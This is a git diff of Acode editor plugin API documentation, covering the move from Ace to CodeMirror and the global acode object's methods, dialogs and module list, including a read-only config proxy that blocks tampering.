+window.editorManager.activeFile?.setMode(MODE_NAME);
+editorThemes.apply("example_notes_dark");
+```
+
+::: code-group
+
+```js [Lezer parser]
+// Build a language around a generated Lezer parser. The parser itself must be
+// bundled with your plugin; everything else comes from the app's own instances.
+const { LRLanguage, LanguageSupport } = acode.require("@codemirror/language");
+const { styleTags, tags } = acode.require("@lezer/highlight");
+import { parser } from "./mygrammar/parser";
+
+const lang = LRLanguage.define({
+  name: "mylang",
+  parser: parser.configure({
+    props: [styleTags({ Keyword: tags.keyword, String: tags.string })],
+  }),
+  languageData: { commentTokens: { line: "//" } },
+});
+
+editorLanguages.register("mylang", ["ml"], "MyLang", () =>
+  new LanguageSupport(lang),
+);
+```
+
+```js [Custom tab]
+// Highlight styles also reach static code blocks rendered inside custom tabs.
+const EditorFile = acode.require("EditorFile");
+const codeHighlight = acode.require("codeHighlight");
+
+const source = '@tag "first line"';
+const html = await codeHighlight.highlightCodeBlock(source, "example_notes");
+
+const code = document.createElement("code");
+code.className = codeHighlight.HIGHLIGHT_CLASS; // "cm-highlighted"
+code.innerHTML = html;
+
+new EditorFile("notes.examples", {
+  type: "custom",
+  content: code,
+  highlightStyles: true,
+  hideQuickTools: true,
+});
+```
+
+:::
+
 ## Migration Quick Map
 
 | Old pattern | New pattern |
 |---|---|
 | `acode.require("aceModes")` | `acode.require("editorLanguages")` |
-| `editor.session.setMode(...)` | `editorManager.activeFile?.setMode(...)` |
-| Ace global API usage (`ace.*`) | `editorManager.editor` + `editorLanguages` + `editorThemes` |
+| `aceModes.addMode(name, exts, caption, loader)` | `editorLanguages.register(name, exts, caption, loader)` |
+| `aceModes.removeMode(name)` | `editorLanguages.unregister(name)` |
+| `aceModes.getMode(name)` / `getModes()` / `getModesByName()` | `editorLanguages.get(name)` / `list()` / `listByName()` |
+| `aceModes.getModeForPath(path)` | `editorLanguages.getForPath(path)` |
+| `mode.$id` / Ace mode objects | `mode.name`, `mode.caption`, `mode.getExtension()` |
+| `session.setMode(...)` (Ace session API) | `editorManager.activeFile?.setMode(...)` |
+| `session.setValue(text)` | `editorManager.editor.dispatch({ changes: { from: 0, to: len, insert: text } })` or `view.setState(...)` |
+| Ace global API usage (`ace.edit`, `ace.define`, Ace `Editor` object) | `window.editorManager.editor` + `editorLanguages` + `editorThemes` |
+| `ace.require("ace/ext/modelist")` | `acode.require("editorLanguages")` (`list()`, `listByName()`, `getForPath()`) |
+
+## What Was Removed
+
+These Ace-era APIs have no CodeMirror replacement in the source and should not be used:
+
+| Removed | Use instead |
+|---|---|
+| `ace.edit(...)` and the Ace `Editor` object | `window.editorManager.editor` (a CodeMirror `EditorView`) |
+| `ace.define(...)` | `acode.require("editorLanguages").register(...)` |
+| `ace.require(...)` for any module other than `ace/ext/modelist` | `acode.require("codemirror")` / the `@codemirror/*` requires |
+| `editor.setTheme(...)` with raw CSS strings | `editorThemes.register({ id, getExtension })` |
+| `editor.session.setAnnotations(...)` | LSP diagnostics, surfaced via the Problems page |
+| `editor.renderer.*`, `editor.$blockScroller`, `editor.container` | `editorManager.container`, `editor.dom`, `editor.scrollDOM` |
\ No newline at end of file
diff --git a/docs/global-apis/acode.md b/docs/global-apis/acode.md
index 04197c2..801431a 100644
--- a/docs/global-apis/acode.md
+++ b/docs/global-apis/acode.md
@@ -4,12 +4,16 @@
 
 The `acode` object is the global object that provides access to the **Acode API**. You can use this object to access the API methods.
 
+It is a single instance created in `src/lib/acode.js` and exported as the app global, so every method below is available on both `window.acode` and the bare `acode` identifier inside plugin scripts.
+
 ## Methods
 
 ### `setPluginInit(pluginId: string, init: Function, settings? Object)`
 
 This method is used to register the plugin. This method takes two parameters, `pluginId` and init function. The `pluginId` is the ID of your plugin. The `init` function is the function that will be called when the plugin is loaded.
 
+The optional third `settings` argument (`{ list, cb }`) is stored as a generated settings page under `acode.require("settings").uiSettings["plugin-<pluginId>"]`. Acode always builds it with `preserveOrder: true`, `pageClassName: "detail-settings-page"`, `listClassName: "detail-settings-list"`, `valueInTail: true` and `groupByDefault: true`. The page is removed again by [`unmountPlugin`](#unmountplugin-id-string-void).
+
 **Example:**
 
 ```js
@@ -29,6 +33,32 @@ acode.setPluginInit('com.example.plugin', (baseUrl, $page, cache) => { // [!code
 });
 ```
 
+**Example with an auto-generated settings page:**
+
+```js
+acode.setPluginInit(
+  "com.example.plugin",
+  (baseUrl) => {
+    const settings = acode.require("settings");
+    console.log(settings.value.examplePlugin);
+  },
+  {
+    list: [
+      {
+        key: "examplePlugin",
+        text: "Enable example feature",
+        type: "switch",
+        value: true,
+      },
+    ],
+    cb(key, value) {
+      const settings = acode.require("settings");
+      settings.update({ [key]: value }, false);
+    },
+  },
+);
+```
+
 ### `init(baseUrl: string, $page: WCPage, options: object)`
 
 When the init function is called, it will receive 3 parameters:
@@ -44,7 +74,7 @@ When the init function is called, it will receive 3 parameters:
    * `cacheFile File: object` File object of the cached file. Using this object, you can write/read the file.
    * `firstInit: boolean` If this is the first time the plugin is loaded, this value will be true. Otherwise, it will be `false`.
    * `ctx: PluginContext | null` Your plugin's native context: encrypted secret storage and permission checks. It may be `null` if the trusted native session is unavailable, so guard it before use. See [Plugin Context (`ctx`)](../plugin-essentials/plugin-context.md).
-   * `fileIcons` Plugin-bound [File Icons](../utilities/file-icons.md) API. Same instance as `acode.require("fileIcons")` captured in the main script. Available from **versionCode `1012`**.
+   * `fileIcons` Plugin-bound [File Icons](../utilities/file-icons.md) API. Same instance as `acode.require("fileIcons")` captured in the main script. Available from **versionCode `1011`** (Acode v1.13.5).
 
 ### `Settings Object`
 
@@ -86,8 +116,7 @@ Settings requires the following properties
 
      * `test: (value: any) => boolean` The test function to test the value.
 
-   * `cb: (key: string, value: any) => void` The callback function that will be called when the settings are changed.
-
+* `cb: (key: string, value: any) => void` The callback function that will be called when the settings are changed.
 
 ### `setPluginUnmount(pluginId: string, unmount: Function)`
 
@@ -102,9 +131,40 @@ acode.setPluginUnmount("com.example.plugin", () => { // [!code focus]
 });
 ```
 
-### `define(moduleName: string, module: any)`
+### `setLoadingMessage(message: string): void` <Badge type="tip" text="new" />
+
+Sets the small status message shown on the app body by writing the `data-small-msg` attribute.
+
+```js
+acode.setLoadingMessage("Loading workspace…");
+```
 
-This method is used to define a module. This method takes two parameters, `moduleName` and module. The `moduleName` is the name of the module. The module is the module object. Module name is case insensitive.
+### `initPlugin(id: string, baseUrl: string, $page: WCPage, options?: object): Promise<void>` <Badge type="tip" text="new" />
+
+Runs the init function previously stored by [`setPluginInit`](#setplugininit-pluginid-string-init-function-settings-object) for `id`. The function is awaited, so a rejected promise from `init` propagates to the caller. If no init function is registered for `id`, nothing happens.
+
+```js
+await acode.initPlugin("com.example.other-plugin", baseUrl, $page);
+```
+
+### `unmountPlugin(id: string): void` <Badge type="tip" text="new" />
+
+Tears a plugin down. In order, it:
+
+1. Calls the unmount function stored by [`setPluginUnmount`](#setpluginunmount-pluginid-string-unmount-function). If that function throws, the error is grouped and logged to the console instead of being propagated.
+2. Deletes `CACHE_STORAGE/<id>` (only when an unmount function was registered).
+3. Deletes `acode.require("settings").uiSettings["plugin-<id>"]`.
+4. Calls `fileIcons.unregisterByPlugin(id)`, removing every icon pack registered by that plugin.
+
+This is what the plugin management UI calls when a plugin is uninstalled or disabled.
+
+```js
+acode.unmountPlugin("com.example.plugin");
+```
+
+### `define(moduleName: string, module: any): void`
+
+This method is used to define a module. This method takes two parameters, `moduleName` and module. The `moduleName` is the name of the module. The module is the module object. Module name is case insensitive because the name is stored with `name.toLowerCase()`. Defining the same name twice replaces the previous module.
 
 **Example:**
 
@@ -120,9 +180,11 @@ acode.define("say-hello", {
 acode.require("say-hello").hello(); // Hello World!
 ```
 
-### `require(moduleName: string)`
+### `require(moduleName: string): any`
+
+This method is used to require a module. This method takes one parameter, `moduleName`. The `moduleName` is the name of the module. Module name is case insensitive because the lookup uses `module.toLowerCase()`. Unknown module names return `undefined`.
 
-This method is used to require a module. This method takes one parameter, `moduleName`. The `moduleName` is the name of the module. Module name is case insensitive.
+See [Available Modules](#available-modules) for the built-in list.
 
 **Example:**
 
@@ -130,20 +192,41 @@ This method is used to require a module. This method takes one parameter, `modul
 acode.require("say-hello").hello(); // Hello World!
 ```
 
+::: warning
+`"fileIcons"` is special-cased. `acode.require("fileIcons")` calls `fileIcons.getPluginApi(document.currentScript)`, which returns the API bound to the **calling plugin script**. If the script has no binding (for example when called from a nested module or after the plugin was unmounted) it throws:
+
+`Require "fileIcons" in the plugin main script, or use options.fileIcons in the init callback`
+:::
+
 ### `exec(command: string, value?: any)`
 
-This method executes a command defined in file `src/lib/commands.js`. This method takes one or two parameters, `command` and `value`. The command is the name of the command. The value is the value of the command. Command name is case insensitive.
+This method executes a command defined in file `src/lib/commands.js`. This method takes one or two parameters, `command` and `value`. The value returned by the command handler is passed through. If the command is not found, `false` is returned.
+
+::: warning
+Command names are **case sensitive**. The lookup is a plain `key in commands`, and the built-in commands use lowercase, dash-separated names such as `"save"`, `"close-all-tabs"`, `"open-inapp-browser"` or `"new-terminal"`.
+:::
 
 **Example:**
 
 ```js
 acode.exec("console"); // Opens the console
+acode.exec("open", "settings"); // Opens the settings page
 ```
 
-### `registerFormatter(pluginId: string, extensions: string[], format: Function, displayName?: string)`
+### `registerFormatter(pluginId: string, extensions: string[] | string, format: Function, displayName?: string): void`
 
 This method is used to register a formatter. It takes `pluginId`, `extensions`, formatter function, and optional display name.
 
+`extensions` is normalized before it is stored:
+
+| Input | Stored `exts` |
+|---|---|
+| Array (falsy entries removed) | that array, or `["*"]` when the array becomes empty |
+| Non-empty string | `[extensions]` |
+| Anything else (empty array, `""`, `undefined`, `null`, …) | `["*"]` |
+
+Formatters are **unshifted**, so when two formatters claim the same extension the **last registered** formatter is found first by [`format`](#format-selectifnull-true-promise-boolean).
+
 **Example:**
 
 ```js
@@ -155,13 +238,15 @@ acode.registerFormatter("com.example.plugin", ["js"], () => { // [!code focus]
   view.dispatch({
     changes: { from: 0, to: view.state.doc.length, insert: text }
   });
-});
+}, "Example Formatter");
 ```
 
-### `unregisterFormatter(pluginId: string)`
+### `unregisterFormatter(pluginId: string): void`
 
 This method is used to unregister a formatter. This method takes one parameter, `pluginId`. The pluginId is the ID of your plugin.
 
+Besides removing the formatter from the in-memory list, it also deletes `pluginId` from `appSettings.value.formatter` for **every** language mode that points at it and then calls `appSettings.update(false)` to persist the cleanup.
+
 ### `format(selectIfNull = true): Promise<boolean>`
 
 Formats the active editor file using the selected formatter for the current mode.
@@ -174,9 +259,17 @@ Returns `true` when formatting succeeds, otherwise `false`.
 await acode.format();
 ```
 
+Resolution order:
+
+1. Returns `false` immediately when there is no active file or when the active file is not an editor tab (`file.type !== "editor"`).
+2. Resolves `modeName` from `editorManager.activeFile.currentMode`, falling back to `getModeForPath(file.filename)?.name`, then to `"text"`.
+3. Looks the formatter up in `appSettings.value.formatter[modeName]` and finds the matching registered formatter.
+4. If nothing matches, the stale setting is deleted and persisted, then either the formatter settings page opens (`selectIfNull === true`) or a "please select a formatter" toast is shown, and `false` is returned.
+5. Otherwise `formatter.format()` is awaited. A thrown error is reported through `helpers.error()` and `false` is returned.
+
 ### `formatters: Array<{ id: string, name: string, exts: string[] }>`
 
-List of registered formatters.
+List of registered formatters. `name` falls back to `id` when no display name was given. The getter returns a new array on every access and does not include the `format` callback.
 
 ```js
 console.log(acode.formatters);
@@ -184,16 +277,23 @@ console.log(acode.formatters);
 
 ### `getFormatterFor(extensions: string[]): Array<[string | null, string]>`
 
-Returns formatter options for the given extensions.
+Returns formatter options for the given extensions. The first entry is always `[null, "None"]`; a formatter is included when it shares at least one extension with `extensions` or declares the `"*"` wildcard.
 
 ```js
 const options = acode.getFormatterFor(["js", "ts"]);
 ```
 
-### `addIcon(iconName: string, iconSrc: string, options?: { monochrome?: boolean })`
+### `addIcon(className: string, iconSrc: string, options?: { monochrome?: boolean }): void`
 
 This method is used to add an icon. This method takes two parameters, `iconName` , `iconSrc` and a optional. The `iconName` is the name of the icon. The `iconSrc` is the URL of the icon. If `options.monochrome` true, uses CSS masks to render the icon. This allows it to inherit the theme's currentColor(in case of svg).
 
+Acode looks for an existing `<style icon="className">` in `document.head` first and only injects a new one when none exists, so calling `addIcon` again with the same `className` is a no-op.
+
+| Mode | Generated CSS |
+|---|---|
+| `monochrome: true` | `.icon.<className>::before` with `-webkit-mask` / `mask: url(src) no-repeat center / contain` and `background-color: currentColor` |
+| default | `.icon.<className>{ background: url(src) no-repeat center / 24px; }` |
+
 ::: info 
 The `options.monochrome` is added in versionCode `967`.
 :::
@@ -216,17 +316,184 @@ Later you can use the icon by adding to class name my-icon to an element.
 
 When making Ajax or fetch requests, you need to convert file:// URLs to internal URLs. This method do it for you.
 
-### `pushNotification(title: string, message: string, options?: Object)` <Badge type="tip" text="v954+" />
+It wraps `helpers.toInternalUri`, which calls `window.resolveLocalFileSystemURL()` and resolves with `entry.toInternalURL()`. The promise **rejects** when the URL cannot be resolved, so always catch it. The same function is available as the `acode.require("toInternalUrl")` module.
+
+```js
+const internalUrl = await acode.toInternalUrl(url);
+```
+
+### `joinUrl(...args: string[]): string` <Badge type="tip" text="new" />
+
+Thin wrapper over `Url.join(...)` from `src/utils/Url.js`. Use it to resolve a plugin-relative path the same way the app does.
+
+```js
+const baseUrl = "file:///data/user/0/com.foxdebug.acode/files/plugins/com.example.plugin/";
+acode.joinUrl(baseUrl, "assets", "icon.svg");
+```
+
+### `fsOperation(file: string): File` <Badge type="tip" text="new" />
+
+Returns the `FileSystem` handle for a URL. Equivalent to `acode.require("fs")` and `acode.require("fsOperation")` — see [FS](../utilities/fs.md).
+
+```js
+const fs = acode.fsOperation("file:///storage/emulated/0/test.txt");
+const text = await fs.readFile("utf-8");
+```
+
+### `newEditorFile(filename: string, options?: FileOptions): void`
+
+Creates a new EditorFile instance and adds it to the editor.
+
+**Parameters:**
+
+* `filename: string` - Name of the file
+* `options?: FileOptions` - File creation options (see [EditorFile API](../editor-components/editor-file.md#fileoptions) for details)
+
+**Example:**
+
+```js
+acode.newEditorFile("example.js", {
+  text: 'console.log("Hello World");',
+  editable: true,
+});
+```
+
+::: tip
+This method is equivalent to calling `new EditorFile(filename, options)`. It returns `undefined` — use `acode.require("EditorFile")` directly when you need the instance.
+:::
+
+::: info
+This API was added in `v1.11.0` (versionCode: `956`) and marked stable in `v1.11.2` (versionCode: `958`)
+:::
+
+### `addCommand(descriptor): object | null` <Badge type="tip" text="new" />
+
+Registers a command in the shared command registry and refreshes the keymap of the active editor.
+
+`descriptor` fields:
+
+| Field | Type | Notes |
+|---|---|---|
+| `name` | `string` | Required. Trimmed. Replaces an existing command with the same name. |
+| `exec` | `(view, args) => boolean \| void` | Required. Called with the resolved view (or `null`) and the `args` from [`execCommand`](#execcommand-name-string-view-editorview-args-any-boolean). |
+| `description` | `string` | Optional. Defaults to a humanized version of `name`. |
+| `bindKey` | `string \| { win?, linux?, mac? }` | Optional. Object forms are joined with `\|` into one combo string. |
+| `readOnly` | `boolean` | Optional, defaults to `true`. When `false` the command is skipped in a read-only editor. |
+| `requiresView` | `boolean` | Optional, defaults to `true`. When `true` and no view can be resolved, the command returns `false` without running. |
+
+Returns the stored command entry, or `null` when the descriptor was rejected — in that case a `console.warn` explains why (`Command registration skipped: missing name` or `Command registration skipped for "<name>": exec must be a function.`). Exceptions thrown by `exec` are caught, logged as `Command "<name>" failed`, and reported as `false`.
+
+```js
+acode.addCommand({
+  name: "example.sayHello",
+  description: "Say hello",
+  bindKey: { win: "Ctrl-Alt-H", linux: "Ctrl-Alt-H", mac: "Command-Alt-H" },
+  exec(view, args) {
+    acode.alert("Hello", `Args: ${JSON.stringify(args)}`);
+    return true;
+  },
+});
+```
+
+### `removeCommand(name: string): void` <Badge type="tip" text="new" />
+
+Removes a command from the registry and refreshes the keymap. A falsy `name` is ignored.
+
+```js
+acode.removeCommand("example.sayHello");
+```
+
+### `execCommand(name: string, view?: EditorView, args?: any): boolean` <Badge type="tip" text="new" />
+
+Executes a registered command. When `view` is omitted the active editor (`window.editorManager.editor`) is used.
+
+Returns `false` when `name` is falsy, when the command is unknown, when a view is required but unavailable, when the command is blocked by `readOnly`, or when the command threw. Otherwise it returns `true`.
+
+```js
+acode.execCommand("example.sayHello", undefined, { source: "plugin" });
+```
+
+### `listCommands(): Array<{ name: string, description: string, key: string | null }>` <Badge type="tip" text="new" />
+
+Returns every registered command with its resolved description and effective key.
+
+```js
+console.log(acode.listCommands().map((cmd) => cmd.name));
+```
+
+::: tip
+`acode.addCommand` / `removeCommand` / `execCommand` / `listCommands` and `acode.require("commands")` (`{ addCommand, removeCommand, registry: { add, execute, remove, list } }`) call the same registry. See [Commands](../utilities/commands.md).
+:::
+
+### `registerFileHandler(id: string, options: { extensions: string[], handleFile: Function }): void` <Badge type="tip" text="new" />
+
+Registers a handler that opens files with unknown extensions. Extensions are lowercased and a leading dot is stripped; `"*"` acts as a catch-all.
+
+Throws when `id` is already registered, when `extensions` is missing/empty, or when `handleFile` is not a function.
+
+```js
+acode.registerFileHandler("com.example.drawio", {
+  extensions: ["drawio", "dio"],
+  async handleFile(file) {
+    // file: { name, uri, stats, readOnly, options }
+  },
+});
+```
+
+See [File Handlers](../advanced-apis/file-handlers.md).
+
+### `unregisterFileHandler(id: string): void` <Badge type="tip" text="new" />
+
+Removes a previously registered file type handler. Unknown ids are ignored.
+
+```js
+acode.unregisterFileHandler("com.example.drawio");
+```
+
+### `registerQuickToolsAdapter(tab: EditorFile, adapter: object): () => void` <Badge type="tip" text="new" />
+
+Routes quick tools input for one custom tab. The adapter must provide `getState()`, `canHandle(action)`, `execute(action, ctx)`, `subscribe(cb)` and optionally `captureSelection()`, `restoreSelection(snapshot)`, `focus()`, `cancel()` and `onError(error)`.
+
+Throws a `TypeError` when the adapter is incomplete and throws `This tab already has a quicktools adapter.` when the tab already has one. Returns a `dispose()` function; the registration is also disposed automatically when the tab emits `close`.
+
+```js
+const EditorFile = acode.require("EditorFile");
+
+acode.setPluginInit("com.example.canvas", () => {
+  const tab = new EditorFile("canvas", { type: "custom" });
+
+  const dispose = acode.registerQuickToolsAdapter(tab, {
+    getState: () => ({ enabled: true, busy: false }),
+    canHandle: (action) => action.type === "key" && action.key === "Enter",
+    subscribe: (cb) => {
+      // call cb() whenever getState() changes
+      return () => {};
+    },
+    execute: async (action, { signal }) => {
+      // handle the action
+    },
+  });
+
+  acode.setPluginUnmount("com.example.canvas", () => dispose());
+});
+```
+
+### `pushNotification(title: string, message: string, options?: { icon?: string, action?: Function, type?: string }): void`
 
 Displays a notification in Acode with a title, message and optional configuration.
 
 The options parameter accepts the following properties:
 
 * `icon?: string` - Icon for the notification. Can be a URL, base64 encoded image, icon class or SVG string
-* `autoClose?: boolean` - Whether notification should auto close. Defaults to true
-* `action?: Function` - Callback function when notification is clicked
+* `action?: Function` - Callback function when notification is clicked. It receives the notification object
 * `type?: string` - Type of notification - can be 'info', 'warning', 'error' or 'success'. Defaults to 'info'
 
+The notification is stored in the sidebar notification app and also shown as a toast. Title and message are sanitized before rendering.
+
+::: warning
+There is no `autoClose` option. Toasts stay until they are dismissed by the user.
+:::
+
 **Example:**
 
 ```js
@@ -235,7 +502,6 @@ acode.pushNotification(
   "This is a notification",
   {
     icon: "my-icon",
-    autoClose: false,
     action: () => {
       console.log("Notification clicked!");
     },
@@ -252,68 +518,379 @@ Requires version code `954` or above
 
 Installs an Acode plugin from registry with its id by the consent of user.
 
+This method **rejects** on failure, so it must be used with `try`/`catch`.
+
+| Rejection | Cause |
+|---|---|
+| `Error("Plugin already installed")` | `PLUGIN_DIR/<pluginId>` already exists |
+| `Error("User cancelled installation")` | The user declined the confirmation dialog |
+| `Error("Failed to fetch plugin details")` | `<API_BASE>/plugin/<pluginId>` could not be read |
+| The underlying error | Any failure of the `exists()` check |
+
+For paid plugins (`remotePlugin.price > 0`) the flow resolves the SKU through `iap`, reads an existing `purchaseToken`, and — when there is none — checks API status and starts an `iap.purchase()` with a purchase listener. On purchase it POSTs the token to `<API_BASE>/plugin/order`. The promise resolves only after the internal installer finishes.
+
 **Example:**
 
 ```js
-await acode.installPlugin("com.example.pluginid", "mypluin.id");
+try {
+  await acode.installPlugin("com.example.pluginid", "myplugin.id");
+} catch (error) {
+  acode.alert("Install failed", error.message);
+}
 ```
 
 ::: info
 This api is added in `v1.10.6` , versionCode: `954`
 :::
 
+### `waitForPlugin(pluginId: string): Promise<boolean>`
+
+Resolves when the target plugin has loaded.
+
+- Resolves `true` immediately when the id is already in `LOADED_PLUGINS`.
+- Otherwise it registers a one-shot watcher and resolves (with `undefined`) when that plugin finishes loading.
+- **Rejects** with `Error("Plugin '<id>' failed to load.")` when the plugins load phase completes without it (for example because the plugin failed, timed out, was disabled or was already marked broken).
+
+```js
+try {
+  await acode.waitForPlugin("com.example.other-plugin");
+  const other = acode.require("other-plugin");
+} catch (error) {
+  console.warn(error.message);
+}
+```
 
-### `newEditorFile(filename: string, options?: FileOptions): void`
 ::: warning
-Requires version code `958` or above
+Always attach a `catch` handler. Without one you get an unhandled rejection when the plugin never loads.
 :::
 
-Creates a new EditorFile instance and adds it to the editor.
+### `clearBrokenPluginMark(pluginId: string): void`
 
-**Parameters:**
+Clears a plugin's broken mark so it can be retried on next load. Plugins listed in `BROKEN_PLUGINS` are skipped by the loader, so this is the way to retry a plugin after fixing the cause of the failure. Failures are swallowed with a `console.warn`.
 
-* `filename: string` - Name of the file
-* `options?: FileOptions` - File creation options (see [EditorFile API](../editor-components/editor-file.md#fileoptions) for details)
+```js
+acode.clearBrokenPluginMark("com.example.plugin");
+```
 
-**Example:**
+### `exitAppMessage: string | null` <Badge type="tip" text="new" />
+
+Read-only getter. Returns the localized "unsaved files, close app" warning when the editor has unsaved changes, otherwise `null`. `actionStack.pop()` uses it to build its confirmation message.
 
 ```js
-acode.newEditorFile("example.js", {
-  text: 'console.log("Hello World");',
-  editable: true,
+console.log(acode.exitAppMessage);
+```
+
+## Dialogs <Badge type="tip" text="new" />
+
+Each dialog is also available as a module, e.g. `acode.require("prompt")`.
+
+| Method | Returns | Notes |
+|---|---|---|
+| `prompt(message, defaultValue?, type?, options?)` | `Promise<any>` | `type` may be `"text"`, `"number"`, `"url"`, `"email"`, `"password"`, `"tel"`, `"select"`, … See [Prompt](../ui-components/dialogs/prompt.md) |
+| `confirm(title, message)` | `Promise<boolean>` | See [Confirm](../ui-components/dialogs/confirm.md) |
+| `select(title, options, config?)` | `Promise<any>` | See [Select](../ui-components/dialogs/select.md) |
+| `multiPrompt(title, inputs, help?)` | `Promise<Array<any>>` | See [Multi Prompt](../ui-components/dialogs/multi-prompt.md) |
+| `alert(title, message, onhide?)` | `void` | See [Alert](../ui-components/dialogs/alert.md) |
+| `loader(title, message?, options?)` | `Loader` | See [Loader](../ui-components/dialogs/loader.md) |
+| `fileBrowser(mode?, info?, openLast?, ...defaultDir)` | `Promise<{type, url, name}>` | See [File Browser](../editor-components/file-browser.md) |
+
+::: info
+The third argument of `loader` is a `LoaderOptions` object (`{ timeout?: number, oncancel?: () => void }`), not a bare cancel callback. The returned handle exposes `setTitle(title)`, `setMessage(message)`, `hide()`, `show()` and `destroy()`.
+:::
+
+```js
+const $loader = acode.loader("Working", "Downloading…", {
+  timeout: 3000,
+  oncancel: () => console.log("cancelled"),
 });
+$loader.setMessage("Almost done");
+$loader.hide();
+```
+
+## Available Modules
+
+Every name below is registered by the `Acode` constructor with `this.define(...)`. Lookups are case-insensitive.
+
+| Module | Shape / purpose |
+|---|---|
+| `config` | **Read-only** app constants (`BASE_URL`, `API_BASE`, `HAS_PRO`, …). See [Read-only config](#config-read-only) |
+| `Url` | URL utilities — see [Url](../utilities/url.md) |
+| `page` | `Page` component — see [Page](../editor-components/page.md) |
+| `Color` | Color helpers — see [Color](../helpers/color.md) |
+| `fonts` | Font registry (`add`, `addCustom`, `get`, `getNames`, `remove`, `has`, `isCustom`, `setFont`/`setEditorFont`, `setAppFont`, `loadFont`, `injectFontFace`) — see [Fonts](../helpers/fonts.md) |
+| `toast` | Toast messages — see [Toast](../ui-components/toast.md) |
+| `alert` | Alert dialog — see [Alert](../ui-components/dialogs/alert.md) |
+| `select` | Select dialog — see [Select](../ui-components/dialogs/select.md) |
+| `loader` | Loader dialog — see [Loader](../ui-components/dialogs/loader.md) |
+| `dialogBox` | Generic dialog — see [Custom Dialog](../ui-components/dialogs/custom-dialog.md) |
+| `prompt` | Prompt dialog — see [Prompt](../ui-components/dialogs/prompt.md) |
+| `multiPrompt` | Multi-input prompt — see [Multi Prompt](../ui-components/dialogs/multi-prompt.md) |
+| `confirm` | Confirm dialog — see [Confirm](../ui-components/dialogs/confirm.md) |
+| `colorPicker` | Color picker — see [Color Picker](../ui-components/dialogs/color-picker.md) |
+| `intent` | `{ addHandler, removeHandler }` for `acode://` intents — see [Intent](../advanced-apis/intent.md) |
+| `fileList` | **Deprecated.** Use `fileIndex`. See [fileList (deprecated)](#filelist-deprecated) |
+| `fileIndex` | Native workspace index (`supports`, `scan`, `update`, `query`, `search`, `get`, `markDirty`, `clear`, `whenReady`, `subscribe`, `cancel`) — see [File Index](../editor-components/file-index.md) |
+| `fs` / `fsOperation` | `FileSystem` factory — see [FS](../utilities/fs.md) |
+| `helpers` | Utility helpers (`error`, `errorMessage`, `uuid`, `parseJSON`, `getIconForFile`, `getIconForFolder`, `promisify`, `toInternalUri`, `isBinary`, …) |
+| `palette` | Command palette — see [Palette](../editor-components/palette.md) |
+| `projects` | Project registry — see [Projects](../utilities/projects.md) |
+| `tutorial` | First-run tutorial — see [Tutorial](../ui-components/tutorial.md) |
+| `aceModes` | Legacy language registry (`addMode`, `removeMode`, `getModeForPath`, `getModes`, `getModesByName`, `getMode`) — see [Editor Languages](../utilities/ace-modes.md) |
+| `editorLanguages` | Language registration — see [Editor Languages](../utilities/ace-modes.md) |
+| `editorThemes` | CodeMirror theme registration — see [Editor Themes](../utilities/editor-themes.md) |
+| `themes` | App (UI) theme list — see [Themes](../helpers/themes.md) |
+| `themeBuilder` | `ThemeBuilder` class — see [Theme Builder](../helpers/theme-builder.md) |
+| `lsp` | Language server registry — see [LSP](../advanced-apis/lsp.md) |
+| `settings` | App settings (`value`, `uiSettings`, `update()`, `on()`, `off()`, `get()`) — see [Settings](../editor-components/settings.md) |
+| `sideButton` | `SideButtons({ text, icon, onclick, backgroundColor, textColor })` returning `{ show, hide }` — see [Side Buttons](../interface-apis/side-buttons.md) |
+| `EditorFile` | `EditorFile` class — see [Editor File](../editor-components/editor-file.md) |
+| `inputhints` | Input hints — see [Input Hints](../helpers/input-hints.md) |
+| `openfolder` | Folder picker — see [Open Folder](../utilities/open-folder.md) |
+| `addedfolder` | List of opened folders — see [Added Folder](./added-folder.md) |
+| `contextMenu` | `Contextmenu(content, options)` — see [Context Menu](../interface-apis/context-menu.md) |
+| `selectionMenu` | `selectionMenu(options?)` returning quick-tools items — see [Selection Menu](../ui-components/selection-menu.md) |
+| `actionStack` | Back-navigation stack — see [Action Stack](../advanced-apis/action-stack.md) |
+| `sidebarApps` | `{ add, get, remove }` — see [Sidebar Apps](../interface-apis/sidebar-apps.md) |
+| `fileBrowser` | File/folder picker — see [File Browser](../editor-components/file-browser.md) |
+| `keyboard` | Hardware keyboard handling — see [Keyboard](../utilities/keyboard.md) |
+| `windowResize` | Resize observer helpers — see [Window Resize](../utilities/window-resize.md) |
+| `createKeyboardEvent` | `KeyboardEvent(type, dict)` factory — see [Keyboard Event](../utilities/keyboard-event.md) |
+| `encodings` | `{ encodings, encode, decode }` — see [Encoding](../utilities/encoding.md) |
+| `terminal` | Terminal manager — see [Terminal](../advanced-apis/terminal.md) |
+| `webview` | `webview.create(options)` returning a native WebView handle — see [WebView](../advanced-apis/webview.md) |
+| `orientation` | `{ lock(mode), unlock() }` for the fullscreen session (`"landscape"` / `"portrait"`) |
+| `fullscreen` | `setBackHandler(cb)` to claim or release Android Back while fullscreen |
+| `codemirror` | Shared CodeMirror / Lezer packages — see [CodeMirror packages](../utilities/codemirror.md) |
+| `codeHighlight` | Static CodeMirror / Lezer highlighter — see [Code Highlight](../utilities/code-highlight.md) |
+| `@codemirror/autocomplete`, `@codemirror/commands`, `@codemirror/language`, `@codemirror/lint`, `@codemirror/search`, `@codemirror/state`, `@codemirror/view` | Individual CodeMirror packages, same instances as `codemirror.*` |
+| `@lezer/common`, `@lezer/highlight`, `@lezer/lr` | Individual Lezer packages |
+| `toInternalUrl` | `helpers.toInternalUri` — see [`acode.toInternalUrl`](#tointernalurl-url-string-promise-string) |
+| `commands` | `{ addCommand, removeCommand, registry }` — see [Commands](../utilities/commands.md) |
+| `fileIcons` | Special-cased per-plugin File Icons API — see [File Icons](../utilities/file-icons.md) |
+
+### `config` (read-only) <Badge type="tip" text="new" />
+
+`acode.require("config")` returns a **Proxy around the app config object**. Reads work normally, but every mutation is blocked and only logs a warning:
+
+| Attempt | Console message |
+|---|---|
+| `config.X = 1` | `[Security Alert] Attempt to modify read-only config property 'X' blocked.` |
+| `Object.defineProperty(config, "X", …)` | `[Security Alert] Attempt to define property 'X' on read-only config blocked.` |
+| `delete config.X` | `[Security Alert] Attempt to delete property 'X' on read-only config blocked.` |
+| `Object.setPrototypeOf(config, …)` | `[Security Alert] Attempt to change prototype of read-only config blocked.` |
+
+Each trap returns `true`, so the operation silently "succeeds" from the caller's point of view while nothing changes. Note that `config.HAS_PRO` is a getter/setter pair inside the underlying object; writing it through the proxy is still blocked.
+
+```js
+const config = acode.require("config");
+console.log(config.API_BASE); // read is fine
+config.API_BASE = "https://evil.example"; // blocked + console.warn
+```
+
+### `fileList` (deprecated) <Badge type="tip" text="new" />
+
+::: warning
